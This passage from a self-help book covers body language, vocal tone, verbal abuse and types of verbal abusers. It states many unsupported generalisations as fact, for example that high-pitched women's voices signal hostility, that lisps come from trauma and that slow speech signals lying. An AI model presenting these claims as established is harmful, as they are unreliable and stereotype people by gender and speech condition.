If she is bored or nervous around you, she will usually cross and uncross her legs; rock back and forth while
sitting or standing; stretch; or fiddle with her hands, and tap her fingers or feet. Her body may be tense, rigid if
she is nervous, and have a seemingly uncontrollable shake. Foot-tapping indicates nervousness and anxiety.
If you have hurt someone or made them sad, his body will be overly loose, with slow and deliberate
movements. On the other hand, if he is standing too still or has a rigid posture, he may be uptight and nervous.
If his posture is rigid and he is backing away from you, chances are he can't wait to get away from you.
Armed with Arms and Hands.
Fiddling with one's hands, tapping fingers, rubbing the fingers together, picking the cuticles, or biting one's
fingers or nails often indicates nervousness or discomfort in a situation.
Crossing arms often indicates hostility, as does putting the hands on both hips, finger pointing, rapid and
uncontrolled arm and hand movements, and clenching of the fists.
Excessive, overly dramatic arm and hand movements may indeed be cultural, but pay close attention, because
the person may be expressing irritation with you in trying to be overly convincing in an attempt to sway your
opinion.
Page 13
Crossing and uncrossing the arms usually means that you or what you have just said bore the listener. When
someone is really frustrated, he may gesture excessively with his hands and he may point if he is both angry
and frustrated. If he is extremely annoyed, he may put his hands on his head and rub the head.
It is essential to note that if someone is just giving up and submitting to you, they may indicate this by throwing
their hands up in the air. If someone can't seem to make a decision, they may open and shut their hands, or
there may be one hand, then the other, in motion. This act will usually be repeated several times in succession.
Hand-to-Hand Combat
The way that people shake your hand tells you a lot about them and how they feel about you. It is, however,
important to note that a handshake is also cultural. In Japan, bowing is the mode of greeting and saying
goodbye. When Japanese are forced into communicating with Americans, their handshake is often soft and
fishlike. This is because they may feel uncomfortable and tentative, as it is an act that is out of their usual social
norm. Outside of the Japanese culture, however, a light and soft handshake usually means that the person is
timid or unsure of himself, or of you. It may also indicate submissiveness.
In contrast, a firm handshake may indicate self-confidence or confidence in you. If however the handshake is
too firm, where the person is squeezing your hand too tightly, they may be trying to establish dominance or
power over you. An overly firm handshake may also reflect an inner hostility towards you. Unless the person's
arm is disabled, if you extend your hand and she doesn't accept it, or refuses to acknowledge it, she may be
saying that she really can't stand you and that she wants nothing to do with you; this is an extremely hostile act.
A clammy or wet hand often reflects nervousness, however there are some cases where the person may have a
medical condition that causes excessive perspiration.
Listening Between the Lines
Just as you absorb people with your eyes, you need to absorb them equally with your ears to determine who
they are and whether they can help you or harm you. You not only need to listen to what is said, but how it is
said. How people speak to you is just as revealing as how they physically act around you.
Page 14
Telling Tones
After studying the way people communicate for nearly two decades, I have discovered that the tone of one's
voice may be the most important factor in determining how someone really feels about himself and about you.
What goes on in one's head and in one's heart is clearly reflected in the tone of his voice.
Before discussing what voice and speech pattern may reflect about how people feel about themselves or you,
note that many speech and vocal conditions result from genetic conditions or learned behaviors. For example,
those who sound nasal may not be lazy, snobby, or condescending people, instead they may be suffering from a
cleft on their palate (the roof of their mouth). On the other hand, they may be from an area of the country where
the only way they learned to speak was nasal.
For the most part, those who speak in boring, monotonous tones are closed off emotionally and have many
unresolved psychological issues. These people have difficulty initiating and maintaining intimate relationships
because it is so difficult for others to “get a read on them” and communicate openly and freely with them.
Squeaking or Leaking?
If you encounter women who speak in a high-pitched, breathy, sickeningly sweet, accommodating vocal tone,
run for your life! Women who speak to you in high-pitched, little-girl tones usually think they are being cute,
girlish, and coquettish. This voice pattern usually reflects a great deal of inner hostility and passiveaggressiveness.
If you hang around these people long enough, don't be surprised to hear the pitch of their voice
drop down a few octaves. Watch them spew forth verbal lava from their once-delicate mouth.
A woman's high-pitched squeak can be extremely annoying and elicit a hostile reaction from others. I have
witnessed this on several occasions.
Page 15
On one occasion, a squeaky-voiced store manager kept saying things over the loudspeaker until a patron
screamed out “shut up, you're getting on my nerves. You sound like a damn chipmunk.” Everyone who heard
this bold man was in stitches. They felt the same way about her, but they dared not say anything.
When you hear the pitch of the voice (especially a man's voice) rising, you may want to consider the veracity
of what the man is saying. This is often a “leakage” of one of the factors that constitutes whether a person is
lying or telling the truth.
Tones Ready to Verbally Attack You
People who attack and speak to you in verbal bullets like a machine gun are angry at you, at themselves, or at
the world. Stay clear of them. Oftentimes, their verbal hostility makes you react with equally hostility towards
them. They may even be unconscious that they sound as hateful as they do and may question why you are
speaking in such a hostile tone to them.
The same holds true for excessively loud talkers. In addition to their hostility, unless they have a conductive
hearing loss, those who speak so loudly are often insecure, need a lot of attention, and crave to be noticed. This
is also the case for men who have deep rich resonant voices but amplify the tone by speaking too loudly—
especially in situations where everyone can hear them. Bullies often attack their tones in addition to being loud
and obnoxious.
The Mouse That Roars.
Those who speak in very soft tones may have hearing loss due to nerve damage, which reflects this type of
speech pattern. On the other hand, those with soft voices may be speaking softly because of poor self-esteem
and low self-confidence. They may be overly shy and may not feel that what they have to say is very worthy,
significant, or important. Because of their low self-worth, most soft or timid speakers can be passiveaggressive.
They may use their soft tones in order to force people to listen to them or to get attention from
others as they are asked to “speak up.” In essence, they may be speaking so low for “effect,” in order to gain
the upper hand by forcing people to listen closely to what they have to say. By speaking as softly as a mouse,
they are usually not letting out any of their true emotions.
“Tha tha that's all, folks!”
Porky Pig's infamous line at the end of cartoons makes me sick, because I have seen firsthand the devastation
teasing causes to individuals who stutter or stammer. There is a lot of controversy about what causes stuttering
or stammering (repetition or
Page 16
hesitation of words or sounds). Theories include beliefs that this speech behavior is inborn, reflects a
neurological condition, is learned, reflects emotional conflict, or stems from being nervous.
We can see how the “nervousness theory” has become so popular, because most of us stutter or have stuttered
at one point or another, especially if we have been around someone who makes us feel less than we are or who
intimidates us. We often do it in situations that make us nervous, such as talking in front of others. On the other
hand, when people hesitate or speak very slowly, you might want to question whether they are telling the truth,
because that is another signal when people lie.
Where's the Foghorn?
Constant hoarse-sounding or raspy voices aren't necessarily sexy. They tend to reflect a person who is
harboring a lot of hidden anger. Often these individuals develop growths on their vocal cords because of their
constant misuse and anger. As part of their treatment to eliminate these growths or calluses on their vocal
cords, they need to work through their inner rage.
Thylvesther the Cat Thaid What?
Like Porky Pig, Sylvester the Cat has tortured many people who lisp. While lisping or whistling s sounds may
be normal in terms of a child's development or may be due to certain dental conditions, if it persists into
adulthood there may be a psychological component.
With the exception of those who have dental conditions that lend themselves to lisping (crowns, buck teeth,
overbites, underbites, and missing teeth), many cases have not been able to overcome their lisps despite speech
therapy. It is not uncommon to find out that these individuals may have suffered some emotional trauma at the
age when they were developing the s sound, around six or seven.
Page 17
Slow Down, I Can't Keep Up!
Too fast a talker is usually a hyper person—a type A personality. They are tornadoes trying to do ten things at
once with such urgency that they leave a wake of upset, annoyed, and intimidated people. Fast talkers alienate
people because they are so difficult to understand. People who listen to them may feel as though they are being
cheated, or talked into something, yet the fast talker may have completely honest intentions. For the most part,
like the soft talker, the fast talker may be suffering from self-worth issues—not feeling worthy enough to be
heard.
Aren't You Done Yet?
There are those who speak so slowly that you can fly from New York City to LA and back by the time they
finish a sentence. Unless they are suffering from brain damage such as cerebral palsy or a stroke, or are
mentally challenged, too-slow talkers are often self-absorbed. They are so concerned about saying everything
correctly that they lose sight of who they are talking to. When you try to interrupt them, they usually ignore
you and proceed talking. These people may also be “leaking” and not telling the truth.
The Rain in Spain Lies Mainly in the Plain.
The hyper-articulate, precise talker is usually very uptight and precise, and everything has to be just so: in
Freudian terms, “anal-retentive.” They remind you of the stereotypical old-maid school marm who slapped you
on the wrists with a ruler if you kept pronouncing your words incorrectly. (Today this school marm would be
doing time for her actions!)
These precise, hyper-articulate people usually have a desire to be noticed and thought of as better and smarter
than others. They often act as though they know it all, pontificating and precisely pronouncing every “i” and
emphasizing every “t.” In reality, their behavior may mask extreme insecurities.
Page 18
Page 19
Chapter 2
Knowing When You've Been Verbally Zapped
Sometimes you get verbally zapped and you don't even realize it until it is too late. When you do finally realize
it, you become psychologically and physiologically tortured as the devastating scenario runs through your mind
over and over again. You often feel like kicking yourself because of what you could have said. You may start
to assault yourself for being “stupid” and “ignorant” and not charging forth to defend yourself against your
offensive adversary. By learning how to always be on guard for possible verbal arrows, you will save yourself
a lot of grief and physical pain.
What Are They Really Saying to You?
Not only is it important to listen to how people speak to you, such as their tone of voice, it is equally important
to listen to everything they say to you and I mean everything!
You need to develop 20/20 hearing—perfect pitch, in a way. You need to hear exactly what people say and
process the words coming out of their mouths. You can't hear only what you want to hear or what you think (or
hope) they mean.
Steve was devastated when Linda walked out on him. “How could she do this to me? There were no signs. She
just left for no reason at all. She took the furniture and everything,” said a perplexed Steve during his therapy
session in my office. I probed
Page 20
and probed, until he finally realized that Linda in fact had told him she was going to leave him if he didn't start
to open up and share himself emotionally as well as physically. After some intensive soul searching, he finally
was able to remember one conversation where Linda screamed and yelled at him for not reacting to anything
emotionally. He remembered that she called him a “coldblooded lizard with ice running through his veins.” She
said that she would clean him out of house and home, and then maybe he'd react.
Had Steve really listened to what she was saying, and had he gotten some therapy to help him more freely
express himself verbally, the two of them might be together today, and Steve would at least still have a chair on
which to sit and a bed on which to sleep! He thought she was “only kidding” when she gave him this
ultimatum.
You Were Not “Only Kidding”
Like Steve, many of us think that the other person is only kidding when we hear something drastic or shocking.
We tend to obliterate our emotional reaction to these verbal bombs, ignoring the message and dismissing it as a
mere joke. We don't want to believe they just said what they said. But the truth is that they did say it, and you
had better hear it, or it may be too late. For Steve, it was too late. He quickly learned that there was nothing
funny when Linda acted on what she said. You must believe everything that someone says and not dismiss it as
mere humor.
Freud once said that there are no jokes, “only truth.” Those who say mean things or make cutting remarks are
revealing how negatively they really feel towards you. With their shockingly hostile statements, they are
actually telling you the truth. When they see the look of shock or anger cross your face, they immediately jump
in with “I was only kidding.” In essence, they punch you out, you fall down, and by dismissing their own
hostile words as a joke, they deprive you of your chance to fight back or retort.
These hostile words will continue to resonate, however, as will the actions. “I was only kidding” is also a form
of sadistic behavior. A person sees a flaw or something he doesn't like and relishes it, enjoying your problem in
order to make himself feel better. By making the shocking statement to you and verbally slapping you in your
face, he tells you how negatively he really feels about you.
We see many people do this to one another; we say that the victim who laughs it off is a “good sport.” But
there is nothing sporty about being cut down and then smiling about what was said, especially if the words
sting you. You need to put a stop to anyone joking with you at your expense.
Page 21
What's the Matter? Cat Got Your Tongue?
There is nothing more disconcerting than attempting to converse with someone who isn't willing to give you
any information. They are verbal vampires, trying to suck out all of the information and energy from you and
not giving you back anything in return. They are stingy with what they say to you. You might ask them
reciprocal questions and hear them not answer, give you a short answer, or circumvent the question entirely,
changing the subject and bringing the conversation back to you. These people are very dangerous and often
sneaky backstabbers. They acquire all of the information from you and then take advantage of you and the
situation.
If someone isn't holding up her end of the conversation, don't let your ego get in the way and think she is
“flattering you.” Instead, know that she is about to “flatten you.” When you hear her deafening silence, shut up
and don't give her any more of yourself. Put the ball in her court, no matter how awkward the stillness and
quiet become. If she can't give you anything verbal in return, neither can you; end the conversation using
techniques that you will learn later in this book.
Page 22
If He Says He's a Jerk, Believe Him
When I was in college, the women in the dormitory had a rule. “If a guy tells you he's a jerk, believe him. He
is!” One classmate argued with a well known jerk, insisting that he was really such a sweet and nice guy,
dismissing his claims of being a jerk. But she finally had to agree with him when she saw him hitting on her
roommate after he asked her to go steady with him.
The same holds true for women, of course, as well as for people with the opposite claim—those who tell you
how great they are! Muhammad Ali said he was “the greatest”—he could “float like a butterfly and sting like a
bee.” He certainly knew what he was saying: he was the greatest boxer of our time.
Even though you might think that they are braggarts or obnoxious, most people who tell you they are the best
are telling you that they have plenty of confidence in themselves. Of course, you have to watch out for people
who have delusions of grandeur, such as someone who says she is the best singer when she has never taken a
lesson and sounds off key. She very well might be the best singer—in her shower, when nobody else is around.
Thus, in addition to seeing the results, you do have to consider some history. Always listen very carefully to
what people say about themselves. They are usually right.
Beware, You're Next!
If someone constantly disses (disrespects) others, you can rest assured that you are next on the “diss list.” Some
people can communicate with another person only when they are trashing someone. It makes them feel as
though they are better and have one up on the person. That's why talk shows are currently such a success. If
you see someone more miserable than you on television and share what you saw with someone as you chuckle
to yourself, you don't feel that your life is in such bad shape after all.
In reality, these are people with a lot of inner emotional conflict that hasn't been worked out yet. They are
miserable and lonely people. They always put others down in order to build themselves up. These people are
often the ones who will be nice to your face and then verbally stab you in the back. If you hear them go after
someone one day, their tongue could easily be firing bullets at you the next morning as they make mincemeat
out of you behind your back.
Page 23
They Don't Really Mean That!
In their attempts to be civil, not make waves, or to appease you, people often make lame comments that you
know may be untrue. They may make typical automatic responses when they really mean to say the opposite.
Now you must combine your newfound knowledge of reading people's body cues, facial cues, and vocal cues
with what they are actually saying. Whenever you hear standard phrases such as the ones in the following list,
be aware. Observing their physical and vocal manner in conjunction with these particular statements may tell
you what they really mean and what they are truly feeling. Watch out for a tight-lipped smile, facial grimacing,
a forced smile, a blank facial expression, ridged body posture, a lower pitch, or a monotone when they make
these statements to appease you.
If you observe any of these body cues, chances are that they think the opposite of what they're saying. On the
other hand, if the body language, facial movements and voice pattern seem genuine, chances are that they do
mean what they say, so “don't worry about it.”
Expressions Said but Seldom Meant
1. Don't worry about it.
2. It's no big deal.
3. There's no problem whatsoever.
4. Don't give it a second thought
5. It'll all work out.
6. It doesn't bother me at all.
7. I really don't care.
8. Sure, go ahead.
9. I'm really sorry.
10. It's my fault.
Warning! You've Been Exposed to a Verbal Health Hazard
Remember the innocent mantra you learned as a child? “Sticks and stones can break my bones, but words can
never hurt me.” Wanna bet? The wrong words said to
Page 24
anyone, especially to a young and vulnerable child, are like glue. They stick to them forever—from ages 3 to
103.
The wrong kind of words can not only hurt you, they can emotionally maim you and even kill you.
The National Committee for the Prevention of Child Abuse and several psychologists who have treated abused
children came up with the following list of commonly used remarks with which parents verbally abuse their
children. Many parents make these comments, completely unaware of the damaging repercussions and lasting
scars these words can have on their youngsters. If you have made any of these comments to your child, never
do it again! Apologize to them.
You can also do this with employees. Remember, it takes a big person to apologize, whether a parent, child,
sibling, spouse, employer, or employee. Those who can't bring themselves to say they are sorry are often
bullies who believe that a kick in the pants is better than a pat on the back. Those who make these cruel
statements are often miserable and bitter people with little or no feeling for anyone but themselves. They are
often so consumed with self-loathing that they spew forth their toxic bullets towards anyone in their way. Most
often, it is towards a defenseless family member, such as a child.
The following are abusive statements you must never say.
1. “You look terrible.”
2. “Wear something else. You look awful.”
3. “You're pathetic. You can't do anything right.”
4. “You're so stupid. Can't you ever listen?”
5. “You disgust me. Just shut up!”
6. “If I would have known how much trouble you'd be, I never would have had you.”
7. “Get out of here and don't come back.”
8. “You make me sick.”
9. “You're always wrong.”
10. “Who asked you?”
Verbal Abuse—the Silent Killer
Sometimes you may not even be aware that you have been verbally abused. It's often like a silent killer, similar
to a gas leak that slowly fills the room and eventually conPage
25
sumes you. You smell something, but you ignore it, thinking it will go away. But it doesn't go away, and then
you become unconscious. Unless someone rushes into your home to save you, you will never wake up.
The following section contains a quiz to help you become more aware of whether you have been exposed to
verbal abuse. Like the gas leak, the abuse may have taken place slowly until it consumed you. It may have
affected your physical health or your emotional well-being, because the verbal abuse seems never to go away.
Unless the information and knowledge you acquire from reading this book saves you, your physical and
emotional suffering will become worse, until it takes a devastating toll on your body and psyche.
Quiz to Determine Exposure to Verbal Abuse
Answer the following questions with “yes” or “no,” then read the section that follows to determine the level of
verbal abuse that you've experienced.
1. Have you been told to deny or to minimize your emotions (for example, “don't cry,” “keep a stiff upper lip,”
“stop getting worked up over nothing,” “don't get so bent out of shape,” and “take it easy”)?
2. Were you told how wonderful you were in one breath and then in the next breath how horrible you are?
3. Did someone take the wind out of your sails or diminish what you say (such as, “you'll never be able to do
that,” “who do you think you are?”, or “that's the stupidest idea I ever heard”)?
4. Have you been contradicted whenever you say something, even though you know you are correct and have
the data or the evidence to prove it?
5. Were you teased in a vicious manner, with the teaser not letting up no matter how upset you got?
6. Did you feel that someone was sadistic by secretly getting satisfaction out of seeing you emotionally hurt or
upset?
7. Were you constantly threatened, or did someone hold over your head something that you were sensitive
about?
8. Were you ridiculed after you told someone an intimate secret? Did that person tease you about it and
constantly throw it back in your face when you least expected it?
9. Did he share your confidence with others after you said not to tell anyone else?
10. Did he speak to you in hostile, harsh, or angry tones?
11. Did she look away when you spoke or when she spoke to you?
12. Did she move away from you when you tried to speak to her?
13. Did he withhold information or neglect to give you vital information?
Page 26
14. Did he always try to have a “leg up” and try to top anything you told him? Did you feel that he was always
trying to compete with you?
15. Did she make you feel wrong, contradict you, or attempt to belittle or dismiss what you had to say in front
of others?
16. Did she say something awful or shocking to you and then follow her comment by “I was only kidding?”
17. Did he seem to always accuse you or blame you by making statements beginning with “you never…,” “you
always…,” “it's your fault that…,” “you'd better…,” or “why don't you ever…?”
18. Does she always try to instigate a fight?
19. Does she curse at you or use profanity?
20. Does he always seem to pick on you, telling you how bad you are and what you did wrong, rarely telling
you what you ever did right?
21. Does he call you pejorative names or nicknames that he knows you don't like?
22. Does she constantly bring up something bad that happened in your past or a mistake you made, and never
let you forget it?
23. Does she order you around, constantly making demands instead of making requests when she speaks to
you?
24. Does he speak so softly that you can't hear him, even though you have heard him speak up when he wants
to?
25. Does he bellow out loud and deafening tones when he speaks to you, but not when he speaks to others?
26. Is she always in a hurry or having to go whenever you want to talk with her?
27. Does she answer questions with a question, never giving you a direct answer?
28. Was getting him to talk like pulling teeth? Did he usually give one-word responses to your questions like
“yep” or “nope?”
29. Does she say things to make you feel guilty?
30. Does she constantly belittle you or embarrass you in front of others?
31. Does he ignore, dismiss, or reject what you say?
What Do Your Answers Mean?
If you can answer “yes” to any of the 31 questions listed here, then you have definitely been exposed to verbal
abuse. To determine the main culprits, write down the names of all those who have committed any of the acts
of abuse listed here.
In doing so, you will begin to see a pattern emerge. For the first time, you may see that it is men more than
women who are verbally abusive towards you, or vice versa. You

Page 27
may become more conscious of certain people who may be jealous of you or uncomfortable around you. You
may see that you are abused with certain family members and not with others. You might see that you were
more verbally abused as a child or teenager, as many of the names on your list will be those of people from
your early years of life. You may also have numerous names next to one question, which may indicate that you
may choose similar types of people who are toxic for you.
This quiz allows you to delve a little deeper and learn more about yourself. Here you can clearly see who your
tormentors are (or were) and how they have specifically victimized you.
Ouch, It Hurts! The Physical Pain of Verbal Abuse.
As was said earlier, words do hurt. Using words as weapons can cause tremendous physical pain, disease, and
(as far-fetched as it may seem) can even result in death.
Physical reactions towards verbal abuse take place in stages. When someone verbally slaps you, your system
suffers an initial shock. First your cortex, the top layer of your brain, receives the verbal message, which is
processed in the appropriate areas of the brain, primarily on the left side, called Wernicke's area. After you
have cognitively deciphered what was said, a deeper area of your brain, known as the limbic system, kicks in.
When you have been verbally abused your whole physiology changes, becoming different from the state at
which you either heard pleasant things about yourself or when you felt neutral.
Now your autonomic nervous system, the system that controls your heart rate, pupil dilation, and blood flow,
kicks in. The primitive “fight or flight” response emerges as you aim to physically protect yourself against the
predators. Thus, your heart beats faster, the adrenaline flows, and your senses become heightened, making you
more aware of what is occurring around you.
This is why your heart beats so fast, why blood rushes to or drains out of your face, or why you might develop
a sudden headache. It is why you may become dizzy or lightheaded and feel as though you have had an “outof-
body” experience.” It is also why you may have difficulty initially catching your breath after you have been
verbally zapped and slapped. This is why your stomach tightens and begins to hurt or cramp, why your body
becomes rigid, and why the muscles in your neck and back tense up.
If these physiological changes happen to you regularly, a particular area of your body may become weakened
due to the added pressure placed upon it. For instance, constant pain and pressure in the abdominal region can
cause an increase in stomach acid,

Page 28
which may result in ulcers. This pain can cause such discomfort that it can immobilize you, thereby
jeopardizing your work and your interpersonal relationships.
Head Games Lead to Heart Pains.
Constant physical stress can also affect the muscles in your heart, thereby weakening the main mechanism you
need for life support. Your blood flow may be affected, which may cause heart dysfunction and even stroke.
Research has repeatedly shown how added emotional distress can contribute to heart failure, which may kill a
person. Similarly, studies have shown that stress can lower the immune system, which can make us susceptible
to certain diseases. Among these are cancer, which in most cases leads to death.
The results of verbal abuse, like those of physical abuse, have a devastating effect on the body. This is very
serious and should never be taken lightly. When people are verbally abusing you on a constant basis, they are
in essence taking away chunks of your life.
Following are several warning signs that often result from verbal abuse:
• Shocked or numb feeling
• Body or face flinching
• Body or face tics
• Body or face tremors or shivering
• Flushed or hot feeling
• Cold feeling
• Skin blotches
• Head throbbing
• Headache in various parts of the head
• Neck pain and tightness
• Stomach pain and cramping
• Diarrhea
• Vomiting
• Rapid heartbeat
• Light-headedness
• Dizziness
• Inability to catch one's breath
Page 29
Shrinking Verbal Abuse—Psychological Pain
When people have been consistently verbally abused, they usually have no other recourse than to get
professional help. They need to verbalize their feelings to their clergy, a supportive family member, an intimate
friend, a counselor, or a psycho-therapist or “shrink.” If not remedied, their “shrinking self-esteem” may result
in severe self-destructive behaviors leading to a very unpleasant life.
When people are constantly verbally slapped as children, they begin to feel embarrassment and shame. They
grow up feeling like less than they are—worthless and irrelevant in the world. People react differently when
they have been emotionally traumatized. They may become explosive and let out their emotional pain in some
way. On the other hand, they may become implosive, keeping their emotional pain inside of them; this ends up
torturing them emotionally. No matter how they manifest their symptoms, the result of their pain is the same—
a diminished sense of self brought about by verbally hostile input.
Externally, those who have been verbally abused may in turn become verbally abusive towards others. They
may exhibit the same tone of voice or use the same words that they have detested all of their lives. They may
do this to keep others at a distance, as they often fear intimacy. To the verbally abused, intimacy is often
equated with emotional loss and pain.
They may take out their inner rage on unsuspecting innocent victims, as they themselves were at one time.
They may yell, scream, and belittle others. On the other hand, they may become too accommodating or clingy
towards others. They may become exceedingly shy and unable to converse with anyone effectively. This
further alienates them from others. They may tend to feel hopeless with an attitude of “what's the use of trying?
I'm no good anyway”. This can eventually lead to lethargy and generalized malaise and can eventually evolve
into full-blown depression; in extreme cases, the person becomes “emotionally vegetative” over a period of
time.
Page 30
On the other hand, some of those with such verbal abuse-caused low self-worth direct their rage and anger
inward. They feel so worthless and undeserving that they punish themselves by overeating, undereating,
bingeing, purging, or starving themselves. They may engage in other self-destructive habits that are a very
difficult to break. These include taking drugs, drinking too much, smoking, or self-destructive sexual liaisons.
Practically every patient I have counseled has had the root of his or her psychological problems stem from
being verbally abused. This is such a serious matter that it can no longer be minimized or ignored. It prevents
people from living their lives to the fullest because a question always rings deep within their psyche about
whether the “toxic words and comments” about them were in fact valid. Verbal abuse and violence can create
scars so deep and so severe that it can emotionally destroy a person forever.
The feelings of pain and emotional despair can be so severe that it can lead someone with an extremely fragile
psyche to commit suicide. Teen suicide has been on the rise lately, going up almost 50 percent. In many cases,
it is because these teens can no longer take the verbal tormenting from their parents or peers. In their
desperation to be accepted, they find the pressure so enormous that they no longer want to live. The ugly truth
is that they were killed by verbal bullets.
The following are several psychological reactions resulting from verbal abuse:
• Feelings of shame or embarrassment
• Feelings of worthlessness
• Insecurity
• Inability to form intimate relationships
• Inability to trust
• Gravitating towards other “familiar” verbal abusers
• Generalizing anger and inner rage towards others
• Physical violence
• Anorexia
• Bulimia
• Excessive appetite
• No appetite
• Sleeplessness
• Anxiety attacks
• Drowsiness and feeling sleepy
• Diminished sexual interest
• Increased sexual interest
• Overly willing to please and accommodate others

Page 31
• Emotional hypersensitivity
• Crying jags
• Phobias
• Withdrawing from others socially
• Clinging to others
• Generalized malaise
• Verbal retaliation
• Apathy and lethargy
• Excessive drinking
• Doing drugs
• Smoking despite a doctor's warning
• Full-blown depression
• Suicide
Page 33
Chapter 3
Verbal Abusers Are Losers
People who resort to verbal attacks and abuse are full of hostility. They are tortured with rage about issues have
nothing to do with you. Usually these issues arise from something traumatic that may have occurred earlier in
their lives. If they don't work out their psychological turmoil, the unfortunate person in their path bears the
brunt of their tortured souls.
These people have lost out on the quality of life because as a group they are never happy. No matter how much
money, fame, or beautiful possessions they have, there is a void. Unless they seek professional assistance to rid
them of their demons, they become losers in life. They consistently lose business opportunities and friends, and
this further fuels their misery.
Categorizing the Verbal Abuser
In researching this topic, I have concluded that verbal abuse exists in two basic levels. Essentially, the results
of both levels are the same: the verbal weaponry stings and hurts. However, the consequences of level one
abuses may not be as devastating as those from level two abuses. Both levels of verbal abusers, however, are
“toxic people,” as identified in my book Toxic People—10 Ways of Dealing With People Who Make Your Life
Miserable (St. Martin's Press, 1997).
Page 34
Eleven types of verbal abusers exist in each level. The common thread is self-esteem so low that they have to
bring others down to their own perceived level of inadequacy. In level one, the offenders tend not to interfere in
your life. They just want to make you miserable or uncomfortable by what they say to you. The people in level
two really want to let you have it! They interfere with your life to the extent that they could destroy it.
Level One Abusers
The ten types of verbal abusers in “level one” are more annoying and hurtful to your psyche than those in
“level two.” You will learn what each particular abuser does and says and red flags to watch out for. Later in
this book we will explore ways to handle these types of abusers.
The “I'm Only Kidding” Person
In Chapter 2, I discussed people who always tell you that they are kidding after making some devastating
comment to you. They seem like they are erasing what they said, but they really say this only to keep you from
attacking them back. If you persist in challenging them about the hostile comment they made, they will ever
more loudly insist that they were “only kidding.” The more you persist, the more they will resist, by getting
louder and using a higher tone. Finally, they may use an exasperated or even sarcastic tone indicating they
think you're the one with the problem because you're taking things so seriously. After all, they were “only
kidding.”
Deep down inside, they really resent you or your actions, but they are too “chicken” to tell you outright, so they
disguise their annoyance as humor.
Many young women I speak to experience this type of behavior from dates who want to “get a leg up” on them.
If the man feels intimidated by the woman, he may try to gain the upper hand by making hostile and insulting
statements to her. When he sees that he was successful in getting a “rise” out of her, he knows he has that
power, if only for a moment.
The “Shock 'Em and Rock 'Em” Person
“Shock 'Em and Rock 'Em” people are similar to “I'm Only Kidding” people. Both want to get a rise out of
you. They want to shock you by making a bizarre and
Page 35
inappropriate comment to get your attention or see how you will react. Unlike the “I'm Only Kidding” person,
they usually don't resent or dislike you. In fact, they may really like you.
Such people are immature in their psychological development. They often have unresolved parental issues.
They attempt to keep “pushing the envelope” with you to see if you will still like them even after they are
“bad.” After all, Mommy and Daddy gave them unconditional love, so why can't you? They fail to realize that
you are not Mommy or Daddy, and that when they are “bad,” you won't necessarily like them or accept them.
If you pass their test and ignore what they said or minimize it, they feel that they “gotcha” and feel that you
accept them even if they are being bad.
The Sarcastic/Sadistic Person.
These people have a lot of deep-seated psychological issues. Similar to the “I'm Only Kidding” person, they
use hostility under the guise of humor because they really don't like you. They don't like themselves and see the
world as dark and gloomy.
You can never be happy around these people, because they usually don't let up and are always thinking of
something negatively humorous to say in any situation. They rarely take anything seriously. The truth is that
they are not funny, and they know it. They know that they are in agony internally. You can rarely have a
conversation with them without their resorting to sarcasm. This is most tiring and frustrating to you; you will
begin to physically show your frustration with what they say, as you can tell that their dark, unwitty wit is
about to invade you.
The Verbal Hammers Person
Verbal hammers won't let up, let alone shut up! They go on and on and on and on. They never let you forget
anything bad you ever did in your life. They constantly bring up the past. They verbally torture you to the point
where you can't wait to leave them.
Even if you “Shock 'Em and Rock 'Em,” they won't be shocked and they won't be rocked. Like the Energizer
Bunny, they just keep going! You feel like you're about to explode because there is no way out—they can't
even hear you.
You may apologize a hundred times, and they will never hear you. They may stop for a while, but rest assured
that they will continue to hammer you at some later date. These people are usually filled with inner rage and
have a “victim” approach to life, which makes them feel that people are always doing them wrong. It's virtually
impossible for them to break their view of themselves as well as their hammering unless they undergo
Page 36
some major counseling. Often times their hammering has very little to do with you. They may be generalizing a
past negative experience (perhaps one they had with another person) onto you.
“My Dog's Bigger Than Your Dog” People.
Like the “I'm Only Kidding” person, these people need to get a “leg up” on you, which is quite appropriate
because after all, they are “My Dog's Bigger than Your Dog” people. Years ago in a television commercial, a
little boy was bragging about his little dog, when a second boy claimed that his dog was bigger than the first
boy's dog. Although it was a cute commercial, being around people who are always trying to compete with you
isn't very cute. It is annoying. Such people are so hungry to show you who they are and what they have that
they are relentless in uncovering any morsel of information where they will have a chance to compete with you.
These people may indeed really like you. Perhaps they like you too much—to the point where they envy you
and what you have. Their jealousy makes them need to establish an equal playing ground—to play the oneupsmanship
game with you to make themselves feel better. They are extremely insecure about themselves and
about their accomplishments.
Perhaps they didn't get enough positive reinforcement when they were children. Unfortunately, they crave it as
adults. It becomes the fuel to their existence. No matter how hard you try to build them up, it doesn't matter.
They need to build themselves up—mainly at your expense.
They drain you because they try to deflate and negate everything you say. In essence, being with them means
constantly listening to their one-upsmanship and being put down. You can't have a conversation with them, you
can only have a match where they have to come out the “winner.”
The Trashers
These people have to tear down everyone and everything. They, like the Sarcastic Sadist, see the world through
dark and cloudy glasses. But unlike the Sarcastic Sadist, they don't try to disguise their verbal venom with
humor; instead, they are blunt and open about their feelings about others and everything around them. Like the
“My Dog's Bigger Than Your Dog” people, they have a need to build themselves up while putting others down.
The only difference is that they don't only try to top you, they also constantly criticize.
If they have only criticized others in your presence and have left you alone, you can bet that you will be trashed
either in person at a later date or when you're not around. They have no mercy. Anyone is fair game.
Page 37
Trashers are miserable people. It is a shame that they have to live with themselves. They go around perpetually
tight-lipped and tight-jawed, tense-faced, whiny, and with tones of disgust spewing forth. They are difficult to
be around, because nothing seems to make them happy. They will always find something wrong with someone
or something. Even though they certainly aren't perfect, they insist that the world around them be perfect.
Perhaps they learned how to be so negative from parents or caretakers who saw the world in the same way.
Perhaps they have been so traumatized in life that they have resigned themselves to the bitter Murphy's Law
idea that nothing is good and nothing ever goes right. Therefore, they cut down others before circumstances or
other people can cut them down.
They are dissatisfied with everything. No matter what you say or do, they cannot be pleased. Like the “My
Dog's Bigger Than Your Dog” people and the “Sarcastic Sadists,” they are impossible to be around for long
periods of time because they drain you. They deflate who you are, what you think, and who and what you like,
thereby debilitating your own self-esteem and outlook towards life.
People Who Throw Back Your Confidences
These people are downright vicious. You may have shared something personal with them—something that
would embarrass or destroy you if anyone else knew. You tell this person because you trust them implicitly.
After all, they revealed their innermost thoughts and deep, dark secrets to you. You feel safe and secure. When
there is a conflict or a disagreement between the two of you, however, they will reach for a verbal weapon that
is well below the belt, something you shared with them in the strictest confidence.
Once they commit the unforgivable act of throwing back in your face something you're so sensitive about, you
can never trust them again! It is dangerous to “forgive and forget.” If they did it once, who's to say that they
won't do it again? You can never again tell them anything so intimate.
Why did they do it? Because they wanted to use any verbal weapon, no matter how hurtful, to get you back and
